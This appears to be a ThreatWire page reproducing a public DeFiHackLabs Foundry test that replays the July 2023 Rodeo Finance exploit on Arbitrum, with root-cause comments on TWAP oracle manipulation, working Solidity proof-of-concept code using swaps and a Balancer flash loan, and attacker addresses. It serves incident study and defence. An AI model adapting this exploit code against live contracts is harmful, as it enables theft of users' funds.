Public reproduction file
src/test/2023-07/RodeoFinance_exp.sol
Public reproduction file for dataset entry RodeoFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~472 Ether (~$888K)8// Attacker : https://arbiscan.io/address/0x2f3788f2396127061c46fc07bd0fcb91faace3289// Attack Contract : https://arbiscan.io/address/0xe9544ee39821f72c4fc87a5588522230e340aa5410// Vulnerable Contract : https://arbiscan.io/address/0xf3721d8a2c051643e06bf2646762522fa66100da11// Attack Tx : https://arbiscan.io/tx/0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a13// @Analysis14// https://twitter.com/Phalcon_xyz/status/167876577339600896715// https://twitter.com/peckshield/status/167870046558713036816// https://medium.com/@Rodeo_Finance/rodeo-post-mortem-overview-f35635c1410118interface IInvestor {19 function earn(20 address usr,21 address pol,22 uint256 str,23 uint256 amt,24 uint256 bor,25 bytes memory dat26 ) external returns (uint256);27}29interface ICamelotRouter {30 function swapExactTokensForTokensSupportingFeeOnTransferTokens(31 uint256 amountIn,32 uint256 amountOutMin,33 address[] memory path,34 address to,35 address referrer,36 uint256 deadline37 ) external;38}40interface ISwapRouter {41 struct ExactInputParams {42 bytes path;43 address recipient;44 uint256 deadline;45 uint256 amountIn;46 uint256 amountOutMinimum;47 }49 function exactInput(50 ExactInputParams memory params51 ) external payable returns (uint256 amountOut);52}54contract RodeoTest is Test {55 IERC20 unshETH = IERC20(0x0Ae38f7E10A43B5b2fB064B42a2f4514cbA909ef);56 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);57 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);58 IInvestor Investor = IInvestor(0x8accf43Dd31DfCd4919cc7d65912A475BfA60369);59 ICamelotRouter Router = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);60 ISwapRouter SwapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);61 IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);62 address private constant usdcPool = 0x0032F5E1520a66C6E572e96A11fBF54aea26f9bE;63 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);65 function setUp() public {66 cheats.createSelectFork("arbitrum", 110_043_452);67 cheats.label(address(unshETH), "unsETH");68 cheats.label(address(WETH), "WETH");69 cheats.label(address(USDC), "USDC");70 cheats.label(address(Investor), "Investor");71 cheats.label(address(Router), "Router");72 cheats.label(address(SwapRouter), "SwapRouter");73 cheats.label(address(Vault), "Vault");74 }76 // Root Cause77 // The attacker was able to manipulate the Camelot V2 TWAP Oracle (attacking the unreleased ETH-unshETH pool)78 // TWAP price was calculated by averaging the last 4 instances of updated price where each price updating occurs every 45 minutes79 // TWAP price was manipulated via multiblock “sandwich” attack80 // Rodeo Farms utilized the faulty price oracle for LP pricing81 // Ultimately, the attacker bypassed the Health Factor check via Price Oracle manipulation,82 // opened positions using borrowed funds from the USDC Pool and triggered large-scale swaps in the Camelot Pair.83 // They then capitalized on the price difference by conducting equal-sized swaps in the opposite direction, thus profiting from the arbitrage opportunity85 function testExploit() public {86 // Begin with the specific amount of unsETH (info about amount taken from the above attack tx)87 // the attackers manipulated the price of TWAP Oracle through multiple transactions88 // such as https://arbiscan.io/tx/0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c89 // https://arbiscan.io/tx/0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e90 deal(address(unshETH), address(this), 47_294_222_088_336_002_957);91 unshETH.approve(address(Router), type(uint256).max);92 WETH.approve(address(Router), type(uint256).max);93 USDC.approve(address(SwapRouter), type(uint256).max);95 // Vulnerable function96 // Vulnerability can be forced to swap USDC -> WETH -> unshETH98 Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500));99 // Swaps on CamelotRouter100 swapTokens(unshETH.balanceOf(address(this)), address(unshETH), address(WETH));101 swapTokens(WETH.balanceOf(address(this)), address(WETH), address(USDC));102 // Swap USDC to WETH on SwapRouter (UniswapV3 router)103 swapUSDCToWETH();104 takeWETHFlashloanOnBalancer();106 emit log_named_decimal_uint(107 "Attacker balance of unshETH after exploit", unshETH.balanceOf(address(this)), unshETH.decimals()108 );109 emit log_named_decimal_uint(110 "Attacker balance of WETH after exploit", WETH.balanceOf(address(this)), WETH.decimals()111 );112 }114 function receiveFlashLoan(115 address[] memory tokens,116 uint256[] memory amounts,117 uint256[] memory feeAmounts,118 bytes memory userData119 ) external {120 // Swap flashloaned WETH amount to USDC121 swapTokens(amounts[0], address(WETH), address(USDC));122 // Swap all of the USDC tokens to WETH123 swapUSDCToWETH();124 // Repay flashloan125 WETH.transfer(address(Vault), amounts[0]);126 }128 function swapTokens(uint256 amountIn, address fromToken, address toToken) internal {129 address[] memory path = new address[](2);130 path[0] = fromToken;131 path[1] = toToken;132 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(133 amountIn, 0, path, address(this), address(0), block.timestamp + 100134 );135 }137 function swapUSDCToWETH() internal {138 bytes memory path = abi.encodePacked(address(USDC), uint24(500), address(WETH));139 ISwapRouter.ExactInputParams memory params =140 ISwapRouter.ExactInputParams(path, address(this), block.timestamp + 100, USDC.balanceOf(address(this)), 0);141 SwapRouter.exactInput(params);142 }144 function takeWETHFlashloanOnBalancer() internal {145 address[] memory tokens = new address[](1);146 tokens[0] = address(WETH);147 uint256[] memory amounts = new uint256[](1);148 amounts[0] = 30e18;149 Vault.flashLoan(address(this), tokens, amounts, bytes(""));150 }151}Analysis
Dataset entry
Public Foundry test for “RodeoFinance” (2023-07-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2f3788f2396127061c46fc07bd0fcb91faace328
- Attack Contract
0xe9544ee39821f72c4fc87a5588522230e340aa54
- Vulnerable Contract
0xf3721d8a2c051643e06bf2646762522fa66100da
- Attack Tx
0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a
- Explorer: https://arbiscan.io/address/0x2f3788f2396127061c46fc07bd0fcb91faace328
- Explorer: https://arbiscan.io/address/0xe9544ee39821f72c4fc87a5588522230e340aa54
- Explorer: https://arbiscan.io/address/0xf3721d8a2c051643e06bf2646762522fa66100da
- Reference: https://twitter.com/Phalcon_xyz/status/1678765773396008967
- Reference: https://twitter.com/peckshield/status/1678700465587130368
- Explorer: https://arbiscan.io/tx/0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c
- Explorer: https://arbiscan.io/tx/0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e
File record
- Name
- RodeoFinance
- Path
- src/test/2023-07/RodeoFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 04d943d92f80d2f26a539f2f1d215ff28cfd2c90
- Language
- Solidity
- Size
- 152 lines
- Date
- 2023-07-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/RodeoFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 04d943d92f80d2f26a539f2f1d215ff28cfd2c90, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.